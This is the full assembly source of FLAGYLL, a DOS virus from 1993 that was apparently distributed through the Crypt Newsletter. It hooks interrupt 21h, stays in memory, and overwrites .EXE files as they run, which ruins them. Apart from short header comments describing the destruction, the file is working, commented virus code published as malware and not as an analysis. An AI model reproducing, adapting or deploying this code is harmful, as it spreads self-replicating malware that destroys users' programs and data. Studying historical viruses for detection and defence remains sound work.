HPAVC/HPAVC CD-ROM.iso/pc/CRYPT13.ZIP/FLAGYLL.ASM

Assembly Source File | 1993-02-24 | 5.8 KB | 237 lines

;FLAGYLL virus - edited for Crypt Newsletter 13
;FLAGYLL is a memory resident, overwriting virus which
;infects and destroys .EXE files on load.
;It updates the infected files time/date stamps to the time of
;infection so it can easily be followed.
;.EXE's infected by FLAGYLL are destroyed.  DOS will either
;refuse to load them or FLAGYLL will become resident
;as they execute.  These programs are ruined and can only
;be deleted.

           .radix 16
     cseg       segment
        model  small
        assume cs:cseg, ds:cseg, es:cseg

        org 100h

oi21            equ endflagyll
filelength      equ endflagyll - begin
nameptr         equ endflagyll+4
DTA             equ endflagyll+8







begin:          jmp     install_flagyll



                         ; install
install_flagyll:

        mov     ax,cs                    ; reduce memory size
        dec     ax
        mov     ds,ax
        cmp     byte ptr ds:[0000],5a    ; check if last memory
        jne     cancel                   ; block
        mov     ax,ds:[0003]
        sub     ax,100                   ; decrease memory
        mov     ds:0003,ax


copy_flagyll:
        mov     bx,ax                    ; copy to claimed block
        mov     ax,es                    ; PSP
        add     ax,bx                    ; virus start in memory
        mov     es,ax
        mov     cx,offset endflagyll - begin  ; cx = length of virus
        mov     ax,ds                    ; restore ds
        inc     ax
        mov     ds,ax
        lea     si,ds:[begin]            ; point to start of virus
        lea     di,es:0100               ; point to destination
        rep     movsb                    ; copy virus in memory



hook_21:

        mov     ds,cx                   ; hook interrupt 21h
        mov     si,0084h                ;
        mov     di,offset oi21
        mov     dx,offset check_exec
        lodsw
        cmp     ax,dx                   ;
        je      cancel                  ; exit, if already installed
        stosw
        movsw

        push    es
        pop     ds
        mov     ax,2521h                ; revector int 21h to virus
        int     21h

cancel:         ret

check_exec:                                    ; look over loaded files
        pushf                          ; for executables

        push    es                     ; push everything onto the
        push    ds                     ; stack
        push    ax
        push    bx
        push    dx

        cmp     ax,04B00h               ; is a file being
                        ; executed ?


        jne     abort                   ; no, exit

do_infect:
        call    infect                  ; then try to infect

abort:                                        ; restore everything
        pop     dx
        pop     bx
        pop     ax
        pop     ds
        pop     es
        popf

exit:
                         ; exit
        jmp     dword ptr cs:[oi21]

infect:
        jmp     over_id              ; it's a vanity thing

note:           db      '-=[Crypt Newsletter 13]=-'


over_id:



        mov     cs:[name_seg],ds       ; this routine
        mov     cs:[name_off],dx       ; essentially grabs
                           ; the name of the file
        cld                             ; clear direction flags
        mov     word ptr cs:[nameptr],dx ; save pointer to the filename
        mov     word ptr cs:[nameptr+2],ds

        mov     ah,2Fh                    ; get old DTA
        int     21h
        push    es
        push    bx

        push    cs                        ; set new DTA

        pop     ds
        mov     dx,offset DTA
        mov     ah,1Ah
        int     21h

        call    host_ident              ; find filename for virus
        push    di
        mov     si,offset COM_txt       ; is extension 'COM' ?

        mov     cx,3
     rep    cmpsb
        pop     di
        jz      return                  ; if so, let it pass by
        mov     si,offset EXE_txt       ; is extension .EXE ?
        nop
        mov     cl,3
        rep     cmpsb
        jnz     return



do_exe:                                      ; infect host, destroying it

        mov     ax,4300h             ; clear attributes
        mov     ds,cs:[name_seg]
        mov     dx,cs:[name_off]
        int     21h
        and     cl,0FEh
        mov     ax,4301h
        int     21h

        mov     ds,cs:[name_seg]   ; open file read/write
        mov     dx,cs:[name_off]
        mov     ax,3D02h
        int     21h
        jc      close_file
        push    cs
        pop     ds
        mov     [handle],ax
        mov     bx,ax

        push    cs
        pop     ds
        mov     ax,4200h       ;set pointer to beginning of host

        push    cs
        pop     ds
        mov     bx,[handle]    ;handle to BX
        xor     cx,cx
        xor     dx,dx
        int     21h



        mov     ah,40          ;write to file
        mov     cx,filelength  ;virus length in cx
        mov     dx,100         ;start write at beginning of Flagyll
        int     21h            ;do it

close_file:     mov     bx,[handle]
        mov     ah,03Eh        ;close file, name -->BX
        int     21h

        mov     ax,4C00h       ;exit to DOS
        int     21h




return:         mov     ah,1Ah
        pop     dx              ; restore old DTA
        pop     ds
        int     21H

        ret                     ; let DOS regain control


host_ident:     les     di,dword ptr cs:[nameptr]  ; finds filename for
        mov     ch,0FFh                    ; host selection
        mov     al,0
     repnz  scasb
        sub     di,4
        ret




EXE_txt         db  'EXE',0      ; extension masks
COM_txt         db  'COM',0      ; for host selection

name_seg        dw  ?            ;data buffers for
name_off        dw  ?            ; viral use on the fly
handle          dw  ?

note2:           db     'Flagyll'     ; virus name

endflagyll:

cseg            ends
        end begin